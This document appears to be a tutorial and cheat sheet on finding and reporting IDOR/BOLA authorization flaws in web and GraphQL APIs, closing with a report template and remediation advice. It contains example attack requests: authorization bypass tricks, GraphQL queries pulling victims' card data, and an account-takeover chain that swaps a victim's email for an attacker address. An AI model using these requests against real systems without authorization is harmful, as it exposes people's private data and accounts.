IDOR (Insecure Direct Object Reference) / BOLA (Broken Object Level Authorization) is consistently one of the most impactful vulnerabilities in modern applications. It’s the #1 API vulnerability per OWASP API Security Top 10.
What is IDOR/BOLA?
The server doesn’t verify that the authenticated user has permission to access the requested object. If user A can access /api/orders/1001 and simply changing to /api/orders/1002 returns user B’s order — that’s IDOR.
Finding Object References
URL Parameters
# Numeric IDs GET /api/users/1234 GET /api/orders/5678 GET /documents/download?id=42
# GUIDs / UUIDs — harder to guess, but check: GET /api/invoice/550e8400-e29b-41d4-a716-446655440000 # UUIDs may be sequential (v1 time-based) or found in other API responses
POST Body References
POST /api/transfer {"from_account":"ACC001","to_account":"ACC002","amount":100}
# Try modifying from_account to another user's account {"from_account":"ACC999","to_account":"ACC002","amount":100}
Headers
X-User-Id:1234# try changing to another user's ID X-Account-Id:ACC001 X-Tenant-Id:tenant123
1. Log in as UserA, capture resource IDs from normal usage 2. Log in as UserB, capture UserB's resource IDs 3. While authenticated as UserA, try to access UserB's resource IDs 4. Verify: can UserA access UserB's data?
Burp Suite Workflow
1.LoginasUser B, create/upload/generate resources 2. Note resource IDs from responses 3.LoginasUser A in separate browser/session 4.In Burp, replace User A's cookie with User B's IDs from step 2 5. Observe response — 200with data = IDOR
Common Endpoints to Test
# User profile GET /api/users/{id} GET /api/profile/{id} PUT /api/users/{id} DELETE /api/users/{id}
# Documents / files GET /api/documents/{id} GET /files/{filename} GET /download?file={path}
# Orders / transactions GET /api/orders/{id} GET /api/invoices/{id} GET /api/transactions/{id}
# Admin functions GET /api/admin/users/{id} PUT /api/admin/users/{id}/role
# Messages / notifications GET /api/messages/{id} GET /api/notifications/{id}
# Exports / reports GET /api/export?user_id={id} GET /api/report/{id}
Common Bypass Techniques
HTTP Method Switching
# Server validates GET but not other methods GET /api/users/1234 → 403 Forbidden POST /api/users/1234 → 200 OK PUT /api/users/1234 → 200 OK PATCH /api/users/1234 → 200 OK
Parameter Pollution
# Add duplicate parameters — some frameworks use last, some use first GET /api/orders?user_id=1001&user_id=1002 GET /api/orders?user_id=1002&user_id=1001
# Also try: /api/users/1234 → 403 /v1/api/users/1234 → 200
API-Specific BOLA Testing
REST APIs
# Test each CRUD operation GET /api/resource/{id} # read another user's resource PUT /api/resource/{id} # modify another user's resource DELETE /api/resource/{id} # delete another user's resource PATCH /api/resource/{id} # partial modify
# Association endpoints GET /api/users/{victim_id}/orders GET /api/users/{victim_id}/documents POST /api/users/{victim_id}/messages
GraphQL BOLA
# Query another user's data by changing ID query { user(id: "victim_user_id") { email phone address creditCards { number cvv } } }
# Mutation on another user's object mutation { updateUser(id: "victim_id", email: "attacker@evil.com") { success } }
Mass Assignment BOLA
# API accepts extra fields it shouldn't PUT /api/profile { "name":"Attacker", "email":"attacker@mail.com", "role":"admin", ← should not be accepted "user_id":9999 ← should not be modifiable }
Chaining for Impact
IDOR onprofileread → expose PII (email, phone, address) IDOR onprofilewrite → account takeover (change email/password) IDOR on order → expose purchase history, financial data IDOR onmessages → read private communications IDOR on admin endpoints → privilege escalation IDOR onfile download → read sensitive documents IDOR on deletion → deny service to other users
Account Takeover via IDOR
1. User A changes their email: PUT /api/users/1001/email → {"email": "a@a.com"} 2. Try: PUT /api/users/1002/email → {"email": "attacker@evil.com"} 3. Trigger password reset for victim account → email sent to attacker 4. Full ATO achieved
Title: IDOR — Unauthorized Access to [Resource Type]
Severity: High / Critical
Endpoint: GET /api/users/{id}
Steps to Reproduce: 1. Create two accounts: victim@test.com (UserB) and attacker@test.com (UserA) 2. As UserB, retrieve profile: GET /api/users/1002 → note UserB's ID is 1002 3. Log in as UserA (ID: 1001) 4. Send request: GET /api/users/1002 with UserA's session token 5. Response contains UserB's PII
Impact: - Exposure of: email, phone number, home address, payment method last4 - With write access: full account takeover possible
Remediation: - Server must validate that the requesting userownsor has explicit permission to access the requested object - Use authorization checks: if (request.user.id !== resource.owner_id) → 403 - Consider indirect references (map internal IDs per-session instead of exposing real IDs)
No comments yet. Be the first.